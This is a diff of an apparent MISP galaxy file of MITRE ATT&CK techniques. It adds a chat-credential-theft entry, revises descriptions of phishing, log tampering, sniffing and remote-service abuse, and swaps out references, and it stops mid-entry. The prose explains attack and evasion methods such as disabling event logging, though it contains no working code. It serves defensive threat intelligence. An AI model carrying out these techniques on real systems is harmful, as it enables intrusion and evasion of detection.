"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/", @@ -20883,6 +21204,35 @@ "uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a", "value": "Email Accounts - T1585.002" }, + { + "description": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).", + "meta": { + "external_id": "T1552.008", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "mitre_platforms": [ + "Office 365", + "SaaS", + "Google Workspace" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1552/008", + "https://www.nightfall.ai/blog/saas-slack-security-risks-2020" + ] + }, + "related": [ + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "type": "subtechnique-of" + } + ], + "uuid": "9664ad0e-789e-40ac-82e2-d7b17fbe8fb3", + "value": "Chat Messages - T1552.008" + }, { "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", "meta": { @@ -20928,7 +21278,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1595/002", - "https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning" + "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning" ] }, "related": [ @@ -20941,7 +21291,7 @@ "value": "Vulnerability Scanning - T1595.002" }, { - "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).", + "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).", "meta": { "external_id": "T1562.006", "kill_chain": [ @@ -20959,9 +21309,9 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1562/006", - "https://capec.mitre.org/data/definitions/571.html", "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events", "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://ptylu.github.io/content/report/report.html?report=25", "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/", "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A" ] @@ -20976,7 +21326,7 @@ "value": "Indicator Blocking - T1562.006" }, { - "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)", + "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)", "meta": { "external_id": "T1566.002", "kill_chain": [ @@ -20998,7 +21348,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1566/002", "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", - "https://capec.mitre.org/data/definitions/163.html", "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", "https://us-cert.cisa.gov/ncas/tips/ST05-016", "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", @@ -21015,7 +21364,7 @@ "value": "Spearphishing Link - T1566.002" }, { - "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", + "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", "meta": { "external_id": "T1586.002", "kill_chain": [ @@ -21026,7 +21375,8 @@ ], "refs": [ "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/", - "https://attack.mitre.org/techniques/T1586/002" + "https://attack.mitre.org/techniques/T1586/002", + "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" ] }, "related": [ @@ -21155,9 +21505,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1543/003", - "https://capec.mitre.org/data/definitions/478.html", - "https://capec.mitre.org/data/definitions/550.html", - "https://capec.mitre.org/data/definitions/551.html", "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection", "https://technet.microsoft.com/en-us/library/cc772408.aspx", @@ -21248,8 +21595,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1543/004", "https://bradleyjkemp.dev/post/launchdaemon-hijacking/", - "https://capec.mitre.org/data/definitions/550.html", - "https://capec.mitre.org/data/definitions/551.html", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", "https://www.real-world-systems.com/docs/launchdPlist.1.html", @@ -21537,7 +21882,7 @@ "value": "DNS Calculation - T1568.003" }, { - "description": "Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", + "description": "Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", "meta": { "external_id": "T1583.006", "kill_chain": [ @@ -21640,7 +21985,7 @@ "value": "Employee Names - T1589.003" }, { - "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. \n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site.\n\nAdversaries may also link to \"web bugs\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "meta": { "external_id": "T1598.003", "kill_chain": [ @@ -21656,10 +22001,13 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1598/003", + "https://csrc.nist.gov/glossary/term/web_bug", "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "https://mrd0x.com/browser-in-the-browser-phishing-attack/", "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages", - "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html" + "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html", + "https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials" ] }, "related": [ @@ -21690,7 +22038,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1574/004", - "https://capec.mitre.org/data/definitions/471.html", "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html", "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py", "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py", @@ -21799,7 +22146,6 @@ "refs": [ "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", "https://attack.mitre.org/techniques/T1546/008", - "https://capec.mitre.org/data/definitions/558.html", "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom" @@ -21815,7 +22161,7 @@ "value": "Accessibility Features - T1546.008" }, { - "description": "Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.", + "description": "Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.", "meta": { "external_id": "T1584.006", "kill_chain": [ @@ -21962,7 +22308,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1547/009", - "https://capec.mitre.org/data/definitions/132.html", "https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence", "https://www.youtube.com/watch?v=nJ0UsyiUEqQ" ] @@ -22444,7 +22789,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1053", - "https://capec.mitre.org/data/definitions/557.html", "https://technet.microsoft.com/en-us/library/cc785125.aspx", "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" ] @@ -22488,7 +22832,7 @@ "value": "Develop KITs/KIQs - T1227" }, { - "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", "meta": { "external_id": "T1529", "kill_chain": [ @@ -22664,7 +23008,6 @@ "refs": [ "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/", "https://attack.mitre.org/techniques/T1200", - "https://capec.mitre.org/data/definitions/440.html", "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html", "https://www.youtube.com/watch?v=fXthwl6ShOg", "https://www.youtube.com/watch?v=lDvf4ScWbcQ" @@ -22703,7 +23046,7 @@ "value": "Data Compressed - T1002" }, { - "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)", + "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)", "meta": { "external_id": "T1040", "kill_chain": [ @@ -22723,12 +23066,13 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1040", - "https://capec.mitre.org/data/definitions/158.html", "https://cloud.google.com/vpc/docs/packet-mirroring", "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html", "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview", "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512", - "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/" + "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/", + "https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html", + "https://www.us-cert.gov/ncas/alerts/TA18-106A" ] }, "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", @@ -22796,6 +23140,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ + "Application Log: Application Log Content", "Command: Command Execution", "File: File Deletion", "File: File Metadata", @@ -22806,6 +23151,7 @@ "Process: Process Creation", "Scheduled Job: Scheduled Job Modification", "User Account: User Account Authentication", + "User Account: User Account Deletion", "Windows Registry: Windows Registry Key Deletion", "Windows Registry: Windows Registry Key Modification" ], @@ -22819,8 +23165,7 @@ "Google Workspace" ], "refs": [ - "https://attack.mitre.org/techniques/T1070", - "https://capec.mitre.org/data/definitions/93.html" + "https://attack.mitre.org/techniques/T1070" ] }, "uuid": "799ace7f-e227-4411-baa0-8868704f2a69", @@ -22907,8 +23252,7 @@ "Network" ], "refs": [ - "https://attack.mitre.org/techniques/T1110", - "https://capec.mitre.org/data/definitions/49.html" + "https://attack.mitre.org/techniques/T1110" ] }, "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", @@ -22932,7 +23276,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1012", - "https://capec.mitre.org/data/definitions/647.html", "https://en.wikipedia.org/wiki/Windows_Registry" ] }, @@ -22940,7 +23283,7 @@ "value": "Query Registry - T1012" }, { - "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 